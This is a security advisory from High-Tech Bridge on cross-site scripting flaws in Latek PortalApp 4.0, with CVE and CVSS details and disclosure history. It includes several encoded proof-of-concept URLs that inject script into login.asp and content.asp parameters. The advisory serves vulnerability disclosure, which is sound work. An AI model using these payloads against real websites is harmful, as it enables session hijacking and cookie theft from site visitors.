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ImmuniWeb Security Advisories ArchiveHTB22441

Advisory ID:	HTB22441
Product:	PortalApp
Vendor:	Latek
Vulnerable Versions:	4.0 and probably prior
Tested Version:	4.0
Advisory Publication:	June 14, 2010 [without technical details]
Vendor Notification:	June 14, 2010
Public Disclosure:	June 28, 2010
Vulnerability Type:	Cross-Site Scripting [CWE-79]
CVE Reference:	CVE-2008-4612
Risk Level:	Medium

CVSSv2 Base Score:	4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PortalApp which could be exploited to perform cross-site scripting attacks. 1) Cross-site scripting (XSS) vulnerability in PortalApp 1.1 The vulnerability exists due to input sanitation error in multiple parameters in login.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation examples: http://host/login.asp?user_name=%27%22%3E%3Cscript%3Ealert%28document.cookie %29%3C/script%3E&passwor d=&ret_page= http://host/login.asp?user_name=&password=%27%22%3E%3Cscript%3 Ealert%28document.cook ie%29%3C/script%3E&ret_page= http://host/login.asp?user_name=&password=&ret _page=%27%22%3E%3Cscri pt%3Ealert%28document.cookie%29%3C/script%3E http://host/login.asp?email=sd %40sd.df%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&s earch_btn=SEND&action=lookup&do_search=1 1.2 The vulnerability exists due to input sanitation error in the "keywords" parameter in content.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: http://host/content.asp?CatId=&ContentType=&keywords=sd%27%22+style=position :absolute;left:0;top:0;w idth:100%25;height:100%25;+onmouseover=alert%28123%29+x&search=%3E&do_search =1 This vulnerability was independently discovered by r3dm0v3 and it was assigned a CVE number CVE-2008-4612.
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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

References:
[1] High-Tech Bridge Advisory HTB22441 - https://www.immuniweb.com/advisory/HTB22441 - Cross-site Scripting (XSS) Vulnerabilities in PortalApp [2] PortalApp is a versatile, ready-to-run, open source Web application (portal software) that you download & configure. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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